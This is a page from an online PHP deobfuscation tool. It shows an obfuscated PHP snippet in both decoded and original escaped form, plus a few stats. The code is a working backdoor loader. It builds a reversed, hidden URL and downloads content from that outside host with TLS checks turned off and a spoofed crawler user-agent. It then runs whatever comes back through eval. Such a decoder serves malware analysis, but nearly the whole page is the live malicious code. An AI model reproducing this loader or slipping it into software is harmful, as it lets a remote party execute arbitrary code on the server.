Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto xeCeZ; xeCeZ: $RSqq8 = ''; goto CKlNb; Qfqd7: $RSqq8 .= "\145\x68"; goto AekyB;..
Decoded Output download
<?php goto xeCeZ; xeCeZ: $RSqq8 = ''; goto CKlNb; Qfqd7: $RSqq8 .= "eh"; goto AekyB; aHbic: $RSqq8 .= "ser"; goto HB0vf; cwuTo: $RSqq8 .= "skk"; goto y8jyz; CKlNb: $RSqq8 .= "t"; goto rLbPO; PeKrB: eval("?>" . D_B2U(strrev($RSqq8))); goto uz0D6; P1aLd: $RSqq8 .= "h"; goto PeKrB; cpWX6: $RSqq8 .= ":sptt"; goto P1aLd; onQTH: $RSqq8 .= "t"; goto mZiNx; uK069: $RSqq8 .= "//"; goto cpWX6; SD6t7: $RSqq8 .= "s"; goto uK069; rLbPO: $RSqq8 .= "xt.52"; goto aHbic; y8jyz: $RSqq8 .= "o.oe"; goto SD6t7; AekyB: $RSqq8 .= "/po"; goto onQTH; mZiNx: $RSqq8 .= ".10"; goto cwuTo; HB0vf: $RSqq8 .= "/xeyi"; goto Qfqd7; uz0D6: function D_B2U($gKkBj = '') { try { goto hP2zx; ZuatJ: fwrite($EhLSk, $ZtDKl); goto nDF8Y; sjR3e: $EhLSk = stream_socket_client("{$kPpG6}://{$jWEB1}:{$jSRIF}", $ekgiI, $spNaG, 60); goto ACXtZ; Vtat7: $iMXjY = isset($xC7xA["path"]) ? $xC7xA["path"] : "/"; goto rHyKT; hP2zx: if (!(function_exists("curl_init") && function_exists("curl_exec"))) { goto rWw8O; } goto RIDVs; pjVyI: if ($p0hhn) { goto OyHqI; } goto AdBal; dGrKP: goto pS91L; goto nbhah; sS3Lc: h2S0h: goto yBlko; nDF8Y: $PWBi9 = ''; goto YjJM5; XYSuW: $p0hhn = false; goto BjQ7H; lUNja: if (feof($EhLSk)) { goto X0xTc; } goto ig6GC; rHyKT: $CmXZj = isset($xC7xA["scheme"]) ? $xC7xA["scheme"] : "http"; goto UW9OA; JPWuW: I_mwh: goto WjZid; BjQ7H: MnZG6: goto lUNja; W7z82: goto X0xTc; goto JPWuW; yBlko: Xwuk8: goto dGrKP; UW9OA: $jSRIF = isset($xC7xA["port"]) ? $xC7xA["port"] : ($CmXZj === "https" ? 443 : 80); goto snJK_; eNipB: goto pS91L; goto M6YrQ; A9ko8: $NCTRp = curl_exec($KHBDf); goto v37U6; ACXtZ: if ($EhLSk) { goto Qfv0C; } goto EArzy; yBerJ: $YtRlv = ["GET {$iMXjY} HTTP/1.1", "Host: {$jWEB1}", "User-Agent: googlebot", "Connection: Close"]; goto NvFsk; O6Tcl: if ($q87Xy) { goto s3VK3; } goto FO3sa; n6IJQ: s3VK3: goto pjVyI; ExW_g: fgets($EhLSk, 2); goto sS3Lc; WjZid: $PKhXx = intval(hexdec($kpquD)); goto nkG2l; K8_LS: curl_setopt($KHBDf, CURLOPT_TIMEOUT, 60); goto A9ko8; nkG2l: if (!($PKhXx > 0)) { goto h2S0h; } goto WKXKQ; NvFsk: $ZtDKl = implode("
\xa", $YtRlv) . "\xd\xa\xd
"; goto ZuatJ; K7Uy_: curl_setopt($KHBDf, CURLOPT_RETURNTRANSFER, 1); goto h3ryD; ig6GC: $kpquD = fgets($EhLSk, 1024); goto O6Tcl; c9t9Z: $p0hhn = true; goto DeSs6; cnSqM: $q87Xy = true; goto eNipB; lyRum: Qfv0C: goto yBerJ; KMlo8: curl_setopt($KHBDf, CURLOPT_FOLLOWLOCATION, true); goto K8_LS; IzRrw: curl_setopt($KHBDf, CURLOPT_SSL_VERIFYHOST, false); goto KMlo8; GeVeG: if (!($kpquD === "0")) { goto I_mwh; } goto W7z82; h3ryD: curl_setopt($KHBDf, CURLOPT_SSL_VERIFYPEER, false); goto IzRrw; APrBG: goto pS91L; goto n6IJQ; AdBal: $PWBi9 .= $kpquD; goto F0Klg; UJ0p2: return trim(trim($NCTRp, "\357\273\277")); goto OkiZa; Er1hU: $kpquD = trim($kpquD); goto GeVeG; FO3sa: if (trim($kpquD) === '') { goto neMn7; } goto NlDmu; M6YrQ: GWDPi: goto c9t9Z; OkiZa: rWw8O: goto zygiL; nbhah: neMn7: goto cnSqM; cQVZR: X0xTc: goto Z69Qo; RIDVs: $KHBDf = curl_init(); goto RgARr; wJeiU: $jWEB1 = $xC7xA["host"]; goto Vtat7; YjJM5: $q87Xy = false; goto XYSuW; qOALv: curl_setopt($KHBDf, CURLOPT_CONNECTTIMEOUT, 0); goto K7Uy_; EArzy: return 0; goto lyRum; WKXKQ: $PWBi9 .= stream_get_contents($EhLSk, $PKhXx); goto ExW_g; NlDmu: if (stripos($kpquD, "Transfer-Encoding: chunked") !== false) { goto GWDPi; } goto APrBG; snJK_: $kPpG6 = $CmXZj === "https" ? "ssl" : "tcp"; goto sjR3e; Z69Qo: fclose($EhLSk); goto tny1t; RgARr: curl_setopt($KHBDf, CURLOPT_URL, $gKkBj); goto qOALv; DeSs6: pS91L: goto nG_KZ; nG_KZ: goto MnZG6; goto cQVZR; GYYuD: OyHqI: goto Er1hU; F0Klg: goto Xwuk8; goto GYYuD; v37U6: curl_close($KHBDf); goto UJ0p2; zygiL: $xC7xA = parse_url($gKkBj); goto wJeiU; tny1t: return trim($PWBi9); goto Bq9Je; Bq9Je: } catch (Exception $JkACH) { echo "Exception: " . $JkACH->getMessage() . "
"; } return 0; }
?>
Did this file decode correctly?
Original Code
<?php goto xeCeZ; xeCeZ: $RSqq8 = ''; goto CKlNb; Qfqd7: $RSqq8 .= "\145\x68"; goto AekyB; aHbic: $RSqq8 .= "\x73\145\x72"; goto HB0vf; cwuTo: $RSqq8 .= "\163\x6b\x6b"; goto y8jyz; CKlNb: $RSqq8 .= "\x74"; goto rLbPO; PeKrB: eval("\x3f\x3e" . D_B2U(strrev($RSqq8))); goto uz0D6; P1aLd: $RSqq8 .= "\x68"; goto PeKrB; cpWX6: $RSqq8 .= "\72\163\160\164\164"; goto P1aLd; onQTH: $RSqq8 .= "\164"; goto mZiNx; uK069: $RSqq8 .= "\x2f\57"; goto cpWX6; SD6t7: $RSqq8 .= "\x73"; goto uK069; rLbPO: $RSqq8 .= "\x78\x74\56\65\62"; goto aHbic; y8jyz: $RSqq8 .= "\157\56\157\145"; goto SD6t7; AekyB: $RSqq8 .= "\57\160\x6f"; goto onQTH; mZiNx: $RSqq8 .= "\56\61\x30"; goto cwuTo; HB0vf: $RSqq8 .= "\x2f\x78\145\x79\151"; goto Qfqd7; uz0D6: function D_B2U($gKkBj = '') { try { goto hP2zx; ZuatJ: fwrite($EhLSk, $ZtDKl); goto nDF8Y; sjR3e: $EhLSk = stream_socket_client("{$kPpG6}\72\x2f\57{$jWEB1}\x3a{$jSRIF}", $ekgiI, $spNaG, 60); goto ACXtZ; Vtat7: $iMXjY = isset($xC7xA["\160\x61\164\x68"]) ? $xC7xA["\160\141\164\x68"] : "\57"; goto rHyKT; hP2zx: if (!(function_exists("\143\x75\162\x6c\x5f\x69\x6e\x69\164") && function_exists("\143\165\x72\154\x5f\145\x78\145\x63"))) { goto rWw8O; } goto RIDVs; pjVyI: if ($p0hhn) { goto OyHqI; } goto AdBal; dGrKP: goto pS91L; goto nbhah; sS3Lc: h2S0h: goto yBlko; nDF8Y: $PWBi9 = ''; goto YjJM5; XYSuW: $p0hhn = false; goto BjQ7H; lUNja: if (feof($EhLSk)) { goto X0xTc; } goto ig6GC; rHyKT: $CmXZj = isset($xC7xA["\163\143\x68\x65\155\145"]) ? $xC7xA["\163\143\x68\x65\x6d\x65"] : "\x68\x74\164\160"; goto UW9OA; JPWuW: I_mwh: goto WjZid; BjQ7H: MnZG6: goto lUNja; W7z82: goto X0xTc; goto JPWuW; yBlko: Xwuk8: goto dGrKP; UW9OA: $jSRIF = isset($xC7xA["\160\157\162\164"]) ? $xC7xA["\160\x6f\x72\x74"] : ($CmXZj === "\x68\164\x74\160\163" ? 443 : 80); goto snJK_; eNipB: goto pS91L; goto M6YrQ; A9ko8: $NCTRp = curl_exec($KHBDf); goto v37U6; ACXtZ: if ($EhLSk) { goto Qfv0C; } goto EArzy; yBerJ: $YtRlv = ["\107\105\x54\40{$iMXjY}\40\x48\124\x54\120\x2f\x31\56\x31", "\110\157\163\164\72\x20{$jWEB1}", "\x55\163\x65\162\x2d\x41\147\145\156\x74\72\40\147\x6f\x6f\x67\154\145\142\157\164", "\103\x6f\x6e\156\145\143\x74\151\157\156\x3a\x20\x43\x6c\x6f\x73\x65"]; goto NvFsk; O6Tcl: if ($q87Xy) { goto s3VK3; } goto FO3sa; n6IJQ: s3VK3: goto pjVyI; ExW_g: fgets($EhLSk, 2); goto sS3Lc; WjZid: $PKhXx = intval(hexdec($kpquD)); goto nkG2l; K8_LS: curl_setopt($KHBDf, CURLOPT_TIMEOUT, 60); goto A9ko8; nkG2l: if (!($PKhXx > 0)) { goto h2S0h; } goto WKXKQ; NvFsk: $ZtDKl = implode("\15\xa", $YtRlv) . "\xd\xa\xd\12"; goto ZuatJ; K7Uy_: curl_setopt($KHBDf, CURLOPT_RETURNTRANSFER, 1); goto h3ryD; ig6GC: $kpquD = fgets($EhLSk, 1024); goto O6Tcl; c9t9Z: $p0hhn = true; goto DeSs6; cnSqM: $q87Xy = true; goto eNipB; lyRum: Qfv0C: goto yBerJ; KMlo8: curl_setopt($KHBDf, CURLOPT_FOLLOWLOCATION, true); goto K8_LS; IzRrw: curl_setopt($KHBDf, CURLOPT_SSL_VERIFYHOST, false); goto KMlo8; GeVeG: if (!($kpquD === "\60")) { goto I_mwh; } goto W7z82; h3ryD: curl_setopt($KHBDf, CURLOPT_SSL_VERIFYPEER, false); goto IzRrw; APrBG: goto pS91L; goto n6IJQ; AdBal: $PWBi9 .= $kpquD; goto F0Klg; UJ0p2: return trim(trim($NCTRp, "\357\273\277")); goto OkiZa; Er1hU: $kpquD = trim($kpquD); goto GeVeG; FO3sa: if (trim($kpquD) === '') { goto neMn7; } goto NlDmu; M6YrQ: GWDPi: goto c9t9Z; OkiZa: rWw8O: goto zygiL; nbhah: neMn7: goto cnSqM; cQVZR: X0xTc: goto Z69Qo; RIDVs: $KHBDf = curl_init(); goto RgARr; wJeiU: $jWEB1 = $xC7xA["\150\x6f\163\164"]; goto Vtat7; YjJM5: $q87Xy = false; goto XYSuW; qOALv: curl_setopt($KHBDf, CURLOPT_CONNECTTIMEOUT, 0); goto K7Uy_; EArzy: return 0; goto lyRum; WKXKQ: $PWBi9 .= stream_get_contents($EhLSk, $PKhXx); goto ExW_g; NlDmu: if (stripos($kpquD, "\x54\x72\x61\156\163\x66\x65\x72\x2d\x45\156\x63\157\x64\151\156\147\72\40\143\150\x75\x6e\153\145\x64") !== false) { goto GWDPi; } goto APrBG; snJK_: $kPpG6 = $CmXZj === "\x68\164\164\160\x73" ? "\163\x73\154" : "\164\143\160"; goto sjR3e; Z69Qo: fclose($EhLSk); goto tny1t; RgARr: curl_setopt($KHBDf, CURLOPT_URL, $gKkBj); goto qOALv; DeSs6: pS91L: goto nG_KZ; nG_KZ: goto MnZG6; goto cQVZR; GYYuD: OyHqI: goto Er1hU; F0Klg: goto Xwuk8; goto GYYuD; v37U6: curl_close($KHBDf); goto UJ0p2; zygiL: $xC7xA = parse_url($gKkBj); goto wJeiU; tny1t: return trim($PWBi9); goto Bq9Je; Bq9Je: } catch (Exception $JkACH) { echo "\105\170\143\145\160\x74\151\x6f\x6e\72\x20" . $JkACH->getMessage() . "\12"; } return 0; }
Function Calls
None |
Stats
MD5 | 7b39016a88d9b122de6d1b8dcd42a388 |
Eval Count | 0 |
Decode Time | 35 ms |